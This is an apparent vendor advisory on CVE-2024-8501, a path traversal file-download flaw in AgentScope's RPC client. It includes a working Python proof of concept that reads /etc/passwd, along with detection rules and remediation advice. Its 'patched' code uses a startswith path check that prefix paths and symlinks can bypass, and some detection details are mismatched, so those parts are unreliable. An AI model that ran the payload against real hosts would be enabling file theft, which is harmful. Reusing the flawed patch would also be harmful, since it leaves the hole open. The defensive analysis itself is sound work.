CVE-2024-8501

Executive Summary

CVE-2024-8501 is a critical arbitrary file download vulnerability in the rpc_agent_client component of Modelscope AgentScope version v0.0.4. The flaw allows any unauthenticated attacker to download arbitrary files from the RPC agent's host by abusing the download_file method. This can lead to unauthorized access to sensitive information such as configuration files, credentials, and system files, potentially enabling privilege escalation or lateral movement within the network. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched.

Supply Chain & Package Security

This vulnerability affects the Python package agentscope (PyPI). Users of this package should immediately assess their exposure and consider isolating the affected component until a patch is available. The lack of a patch increases supply chain risk for any application or service that integrates AgentScope v0.0.4.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The vulnerability is easily exploitable remotely without authentication, making it a high-priority threat for any exposed instance.

Deep Dive & Mechanics

The rpc_agent_client component in AgentScope v0.0.4 exposes a download_file method that does not properly validate or sanitize user-supplied file paths. An attacker can send a crafted request to the RPC agent, specifying a path traversal sequence (e.g., ../../etc/passwd) to read arbitrary files from the host filesystem.

The core issue lies in the lack of input validation and path restriction. The method likely uses a function like open() or read() without checking if the requested path is within an allowed directory. This allows an attacker to escape the intended sandbox and access any file the process has read permissions for.

Vulnerable vs. Patched Code

Vulnerable Code (v0.0.4):

# rpc_agent_client.py (simplified)
def download_file(self, file_path):
    with open(file_path, 'rb') as f:
        return f.read()

Patched Code (hypothetical):

# rpc_agent_client.py (patched)
import os

ALLOWED_DIR = "/var/agentscope/data"

def download_file(self, file_path):
    # Resolve the absolute path and ensure it's within ALLOWED_DIR
    abs_path = os.path.abspath(file_path)
    if not abs_path.startswith(ALLOWED_DIR):
        raise PermissionError("Access denied")
    with open(abs_path, 'rb') as f:
        return f.read()

The patched version restricts file access to a specific directory and validates that the resolved path is within that directory, preventing path traversal.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy AgentScope v0.0.4 on a test VM (e.g., Ubuntu 22.04) with default configuration.
2. Ensure the RPC agent is listening on a network-accessible port (e.g., 50051).

Exploitation Steps:

1. Identify the RPC endpoint (e.g., http://target:50051/rpc_agent_client).
2. Craft a request to the download_file method with a path traversal payload:

   import requests
   import json
   
   url = "http://target:50051/rpc_agent_client"
   payload = {
       "method": "download_file",
       "params": {"file_path": "../../etc/passwd"}
   }
   response = requests.post(url, json=payload)
   print(response.text)
   

3. The response will contain the contents of /etc/passwd.

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team

Detection Steps:

1. Monitor for unusual file read operations from the AgentScope process.
2. Look for path traversal patterns in RPC requests (e.g., ../ or ..\\).
3. Alert on any access to sensitive files (e.g., /etc/shadow, /etc/passwd, configuration files).

Hunting Queries:

• Sysmon Event ID 11 (FileCreate): Look for files created by the AgentScope process outside its expected directory.
• Process Monitoring: Track the open syscalls from the AgentScope process.

Indicators of Compromise (IOCs)

• Network: RPC requests to the rpc_agent_client endpoint with download_file method and path traversal strings.
• File System: Unexpected reads of /etc/passwd, /etc/shadow, .env, config.json, or other sensitive files.
• Logs: AgentScope logs showing download_file calls with suspicious paths.

Detection Engineering

YARA Rule

rule CVE_2024_8501_AgentScope_Download {
    meta:
        description = "Detects exploitation attempts of CVE-2024-8501 in AgentScope"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8501"
    strings:
        $s1 = "download_file" ascii wide nocase
        $s2 = "../" ascii wide
        $s3 = "..\\" ascii wide
        $s4 = "/etc/" ascii wide
        $s5 = "/proc/" ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-8501 AgentScope Arbitrary File Download
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects exploitation attempts of CVE-2024-8501 via path traversal in AgentScope RPC calls
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/agentscope'
        CommandLine|contains: 'download_file'
    filter:
        CommandLine|contains: 'allowed_dir'
    condition: selection and not filter
falsepositives:
    - Legitimate file downloads within allowed directories
level: high

Suricata Rule

alert tcp any any -> any 50051 (msg:"CVE-2024-8501 AgentScope Arbitrary File Download Attempt"; flow:to_server; content:"download_file"; http_client_body; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected AgentScope instance from untrusted networks.
2. Restrict network access to the RPC agent port (default 50051) using firewall rules.
3. Monitor logs for suspicious download_file requests.

Long-Term Fix:

• Apply input validation and path sanitization as shown in the patched code example.
• Implement a whitelist of allowed directories for file downloads.
• Upgrade to a patched version once available.

Workaround:

• If patching is not possible, disable the download_file method or wrap it with a permission check.

Valters IT